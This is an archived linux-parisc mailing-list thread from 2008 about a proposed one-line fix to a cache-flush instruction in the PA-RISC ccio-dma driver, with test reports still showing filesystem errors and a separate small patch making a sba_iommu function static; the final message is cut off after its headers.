From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Yet another ccio fix idea?
Date: Sun, 09 Mar 2008 13:55:15 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <47D3EC43.3070101@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1205071560 30588 80.91.229.12 (9 Mar 2008 14:06:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 9 Mar 2008 14:06:00 +0000 (UTC)
Cc: Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>
To: Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 09 15:06:27 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JYMAN-0005n7-Rd
	for glpp-linux-parisc@gmane.org; Sun, 09 Mar 2008 15:06:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751548AbYCIOFp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 9 Mar 2008 10:05:45 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751651AbYCIOFp
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 9 Mar 2008 10:05:45 -0400
Original-Received: from hel.is.scarlet.be ([193.74.71.26]:36035 "EHLO hel.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751548AbYCIOFo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 9 Mar 2008 10:05:44 -0400
X-Greylist: delayed 644 seconds by postgrey-1.27 at vger.kernel.org; Sun, 09 Mar 2008 10:05:44 EDT
Original-Received: from [213.49.83.179] (ip-213-49-83-179.dsl.scarlet.be [213.49.83.179])
	(authenticated bits=0)
	by hel.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m29Drn2A024199;
	Sun, 9 Mar 2008 14:53:50 +0100
User-Agent: Mozilla-Thunderbird 2.0.0.9 (X11/20080110)
X-DCC-scarlet.be-Metrics: hel 20001; Body=5 Fuz1=5 Fuz2=5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:184
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/184>

Hello Grant,

Always tracking this ccio-dma bug, I figure out this stuff could be helpfull:
--- a/drivers/parisc/ccio-dma.c	2008-03-09 12:55:00.000000000 +0000
+++ b/drivers/parisc/ccio-dma.c	2008-03-09 12:55:21.000000000 +0000
@@ -802,7 +802,7 @@
  			 * Hopefully someone figures out how to patch (NOP) the
  			 * FDC/SYNC out at boot time.
  			 */
-			asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr[7]));
+			asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr));

What's your opinion?

Tx,
	r.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Yet another ccio fix idea?
Date: Sun, 9 Mar 2008 11:46:12 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <20080309174612.GA19976@colo.lackof.org>
References: <47D3EC43.3070101@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1205084797 20750 80.91.229.12 (9 Mar 2008 17:46:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 9 Mar 2008 17:46:37 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 09 18:47:04 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JYPc0-00044L-7u
	for glpp-linux-parisc@gmane.org; Sun, 09 Mar 2008 18:47:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751824AbYCIRqa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 9 Mar 2008 13:46:30 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751857AbYCIRqa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 9 Mar 2008 13:46:30 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:38564 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751824AbYCIRq3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 9 Mar 2008 13:46:29 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 6DC673381F4;
	Sun,  9 Mar 2008 11:46:27 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20349-05; Sun, 9 Mar 2008 11:46:17 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id EE6D83381F9; Sun,  9 Mar 2008 11:46:12 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <47D3EC43.3070101@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:185
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/185>

On Sun, Mar 09, 2008 at 01:55:15PM +0000, Joel Soete wrote:
> Hello Grant,
>
> Always tracking this ccio-dma bug, I figure out this stuff could be 
> helpfull:
> --- a/drivers/parisc/ccio-dma.c	2008-03-09 12:55:00.000000000 +0000
> +++ b/drivers/parisc/ccio-dma.c	2008-03-09 12:55:21.000000000 +0000
> @@ -802,7 +802,7 @@
>  			 * Hopefully someone figures out how to patch (NOP) the
>  			 * FDC/SYNC out at boot time.
>  			 */
> -			asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr[7]));
> +			asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr));
>
> What's your opinion?

I think you are right. That's what sba_iommu.c is using on line 560.

Have you tested this to see if it solves your problem?

cheers,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Yet another ccio fix idea?
Date: Sun, 9 Mar 2008 11:48:25 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <20080309174825.GB19976@colo.lackof.org>
References: <47D3EC43.3070101@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1205084927 21224 80.91.229.12 (9 Mar 2008 17:48:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 9 Mar 2008 17:48:47 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 09 18:49:14 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JYPe4-00044L-Ck
	for glpp-linux-parisc@gmane.org; Sun, 09 Mar 2008 18:49:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751972AbYCIRsi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 9 Mar 2008 13:48:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752030AbYCIRsi
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 9 Mar 2008 13:48:38 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:38614 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751972AbYCIRsh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 9 Mar 2008 13:48:37 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 51D7E338200;
	Sun,  9 Mar 2008 11:48:37 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20349-08; Sun, 9 Mar 2008 11:48:27 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 115A53381F9; Sun,  9 Mar 2008 11:48:27 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <47D3EC43.3070101@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:186
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/186>

On Sun, Mar 09, 2008 at 01:55:15PM +0000, Joel Soete wrote:
> Hello Grant,
>
> Always tracking this ccio-dma bug, I figure out this stuff could be 
> helpfull:
> --- a/drivers/parisc/ccio-dma.c	2008-03-09 12:55:00.000000000 +0000
> +++ b/drivers/parisc/ccio-dma.c	2008-03-09 12:55:21.000000000 +0000
> @@ -802,7 +802,7 @@
>  			 * Hopefully someone figures out how to patch (NOP) the
>  			 * FDC/SYNC out at boot time.
>  			 */
> -			asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr[7]));
> +			asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr));

BTW, once you've tested/demostrated this fixes the DMA problems on C-xxx,
please resend with "Signed-off-by:" line.

thanks,
grant

>
> What's your opinion?
>
> Tx,
> 	r.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] make ptr_to_pide() static
Date: Mon, 10 Mar 2008 20:43:24 +0900
Lines: 34
Approved: news@gmane.org
Message-ID: <20080310204320Z.tomof@acm.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1205149480 9050 80.91.229.12 (10 Mar 2008 11:44:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Mar 2008 11:44:40 +0000 (UTC)
Cc: kyle@parisc-linux.org
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 10 12:45:08 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JYgRH-00056V-MV
	for glpp-linux-parisc@gmane.org; Mon, 10 Mar 2008 12:45:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751057AbYCJLod (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Mar 2008 07:44:33 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751132AbYCJLod
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 10 Mar 2008 07:44:33 -0400
Original-Received: from mo11.iij4u.or.jp ([210.138.174.79]:60360 "EHLO mo11.iij4u.or.jp"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751057AbYCJLoc (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Mar 2008 07:44:32 -0400
Original-Received: by mo.iij4u.or.jp (mo11) id m2ABhP7S011648; Mon, 10 Mar 2008 20:43:25 +0900
Original-Received: from localhost (153.25.30.125.dy.iij4u.or.jp [125.30.25.153])
	by mbox.iij4u.or.jp (mbox10) id m2ABhOWv007292
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Mon, 10 Mar 2008 20:43:24 +0900
Original-Cc: tomof@acm.org
Original-Lines: 29
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:187
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/187>

Sorry, I should have made ptr_to_pide() static.

=
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Subject: [PATCH] make ptr_to_pide() static

Signed-off-by: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
---
 drivers/parisc/sba_iommu.c |    4 ++--
 1 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index e834127..a8b7699 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -314,8 +314,8 @@ sba_dump_sg( struct ioc *ioc, struct scatterlist *startsg, int nents)
 #define RESMAP_MASK(n)    (~0UL << (BITS_PER_LONG - (n)))
 #define RESMAP_IDX_MASK   (sizeof(unsigned long) - 1)
 
-unsigned long ptr_to_pide(struct ioc *ioc, unsigned long *res_ptr,
-			  unsigned int bitshiftcnt)
+static unsigned long ptr_to_pide(struct ioc *ioc, unsigned long *res_ptr,
+				 unsigned int bitshiftcnt)
 {
 	return (((unsigned long)res_ptr - (unsigned long)ioc->res_map) << 3)
 		+ bitshiftcnt;
-- 
1.5.3.7

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rubisher" <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Yet another ccio fix idea?
Date: Mon, 10 Mar 2008 18:16:03 +0100
Lines: 75
Approved: news@gmane.org
Message-ID: <JXIYMR$256BE935A3E5246D8157FA715B3F4508@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1205169457 20038 80.91.229.12 (10 Mar 2008 17:17:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Mar 2008 17:17:37 +0000 (UTC)
Cc: "soete\.joel" <soete.joel@scarlet.be>,
	"grundler" <grundler@parisc-linux.org>,
	"linux-parisc" <linux-parisc@vger.kernel.org>,
	"kyle" <kyle@parisc-linux.org>, "matthew" <matthew@wil.cx>,
	"rubisher" <rubisher@scarlet.be>
To: "grundler" <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 10 18:18:02 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JYldO-0003rU-6j
	for glpp-linux-parisc@gmane.org; Mon, 10 Mar 2008 18:17:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751040AbYCJRRU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Mar 2008 13:17:20 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751291AbYCJRRU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 10 Mar 2008 13:17:20 -0400
Original-Received: from eir.is.scarlet.be ([193.74.71.27]:46511 "EHLO eir.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751040AbYCJRRT convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Mar 2008 13:17:19 -0400
Original-Received: from scarlet.be (fuji.is.scarlet.be [193.74.71.41])
	by eir.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m2AHG320029179;
	Mon, 10 Mar 2008 18:16:04 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: eir; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:188
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/188>

> On Sun, Mar 09, 2008 at 01:55:15PM +0000, Joel Soete wrote:
> > Hello Grant,
> >
> > Always tracking this ccio-dma bug, I figure out this stuff could be 
> > helpfull:
> > --- a/drivers/parisc/ccio-dma.c	2008-03-09 12:55:00.000000000 +0000
> > +++ b/drivers/parisc/ccio-dma.c	2008-03-09 12:55:21.000000000 +0000
> > @@ -802,7 +802,7 @@
> >  			 * Hopefully someone figures out how to patch (NOP) the
> >  			 * FDC/SYNC out at boot time.
> >  			 */
> > -			asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr[7]));
> > +			asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr));
> 
> BTW, once you've tested/demostrated this fixes the DMA problems on C-xxx,
> please resend with "Signed-off-by:" line.
> 
I would very to say: "Yes it works" like make me falsely guess this test on a
d380 with an disk connected to ncr53c720 hba:
# CNT=0; while true; do nice -n -5 tar -xslpf linux-2.6-trace.tar; nice -n -5
rm -rf linux-2.6-trace; CNT=$(($CNT + 1)); echo "CNT=$CNT"; date; done

it run several hours without issue, till console shows me again a failure in
the fs:
#CNT=1
#Mon Mar 10 12:33:54 CET 2008
#CNT=2
#Mon Mar 10 12:35:14 CET 2008

#CNT=190
#Mon Mar 10 16:32:29 CET 2008
#CNT=191
#Mon Mar 10 16:33:44 CET 2008

But again same kind of error:
#EXT3-fs error (device sdb9): ext3_readdir: bad entry in directory #99187:
rec_len % 4 != 0 - offset=0, inode=1953393
#EXT3-fs warning (device sdb9): empty_dir: bad directory (dir #99187) - no `.'
or `..'          

Note that the 53c710 of the external drive didn't shows much better results:
#scsi3: (3:0) phase mismatch at 01e8, phase IO CD MSG BSY REQ MSG IN         
                                       
#scsi3: Bus Reset detected, executing command 1fe1f2c0, slot 1fe388a4, dsp
003781e8[01e8]                                            
# failing command because of reset, slot 1fe388a4, cmnd 1fe1f2c0

just during a dist-upgrade.

Sorry,
    r.

> thanks,
> grant
> 
> >
> > What's your opinion?
> >
> > Tx,
> > 	r.
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
> 
---
Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
http://www.scarlet.be/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Yet another ccio fix idea?
Date: Mon, 10 Mar 2008 13:26:43 -0400 (EDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <20080310172644.580BD4E4A@hiauly1.hia.nrc.ca>
References: <JXIYMR$256BE935A3E5246D8157FA715B3F4508@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1205170038 22138 80.91.229.12 (10 Mar 2008 17:27:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Mar 2008 17:27:18 +0000 (UTC)
Cc: grundler@parisc-linux.org, soete.joel@scarlet.be,
	linux-parisc@vger.kernel.org, kyle@parisc-linux.org,
	matthew@wil.cx, rubisher@scarlet.be
To: rubisher@scarlet.be (rubisher)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 10 18:27:45 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JYlmd-0007eg-Rk
	for glpp-linux-parisc@gmane.org; Mon, 10 Mar 2008 18:27:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755331AbYCJR0r (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Mar 2008 13:26:47 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751158AbYCJR0r
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 10 Mar 2008 13:26:47 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2936 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755331AbYCJR0q (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Mar 2008 13:26:46 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 580BD4E4A; Mon, 10 Mar 2008 13:26:44 -0400 (EDT)
In-Reply-To: <JXIYMR$256BE935A3E5246D8157FA715B3F4508@scarlet.be> from "rubisher" at Mar 10, 2008 06:16:03 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:189
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/189>

> > On Sun, Mar 09, 2008 at 01:55:15PM +0000, Joel Soete wrote:
> > > Hello Grant,
> > >
> > > Always tracking this ccio-dma bug, I figure out this stuff could be 
> > > helpfull:
> > > --- a/drivers/parisc/ccio-dma.c	2008-03-09 12:55:00.000000000 +0000
> > > +++ b/drivers/parisc/ccio-dma.c	2008-03-09 12:55:21.000000000 +0000
> > > @@ -802,7 +802,7 @@
> > >  			 * Hopefully someone figures out how to patch (NOP) the
> > >  			 * FDC/SYNC out at boot time.
> > >  			 */
> > > -			asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr[7]));
> > > +			asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr));
> > 
> > BTW, once you've tested/demostrated this fixes the DMA problems on C-xxx,
> > please resend with "Signed-off-by:" line.

The existing code is clearly wrong.  pdir_ptr[7] is not a pointer and
the previous statement sets it to zero to clear the valid bit.  So, don't
drop this line of investigation.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Yet another ccio fix idea?
Date: Mon, 10 Mar 2008 14:59:47 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <1205179187.2941.23.camel@localhost.localdomain>
References: <47D3EC43.3070101@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1205179216 25980 80.91.229.12 (10 Mar 2008 20:00:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Mar 2008 20:00:16 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 10 21:00:43 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JYoAt-0003PW-4M
	for glpp-linux-parisc@gmane.org; Mon, 10 Mar 2008 21:00:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752833AbYCJT7w (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Mar 2008 15:59:52 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751055AbYCJT7w
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 10 Mar 2008 15:59:52 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:51072 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751373AbYCJT7v (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Mar 2008 15:59:51 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 672958502;
	Mon, 10 Mar 2008 14:59:49 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1205179189; bh=C0Z7YXidZGzYlU1Sl35UdO7mf+jOpsemCo4LR15rGk
	8=; l=1003; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:X-Mailer:
	 Content-Transfer-Encoding; b=tXctuBbp8d9Ckx+TFcjncBG/G/eedWQrIdRNm
	fmrWYiETQi/xuOP4OSYlMt0HnXPIOWPY2YgCi0cf6G/GREGy2CvD9IPILx36tDRRUS9
	s9kYEbgr+9i8NcRewticSXzbs/jx/uuZsQp3WdeuUIzy8w6Y7R2BBFuh/5aV25O50Zw
	=
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id amahkVJlUdWi; Mon, 10 Mar 2008 14:59:48 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id EF12882EE;
	Mon, 10 Mar 2008 14:59:47 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1205179188; bh=C0Z7YXidZGzYlU1Sl35UdO7mf+jOpsemCo4LR15rGk
	8=; l=1003; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:X-Mailer:
	 Content-Transfer-Encoding; b=juN0CraujKbpIhcjKH9I0Dmzqfxfu5S7X3cMg
	GqUPmpwWfffkuffpbzM4WVzZwh/OBZes8M7hJnlvisJXWN7viDB/azjWHl5/aeTNZWP
	FoY5o42F9e3vTwq+LKGW5fTmlgCImKSKQOHucJcbW4MAP1U77gSLw0Y6YK1Gro5Opwc
	=
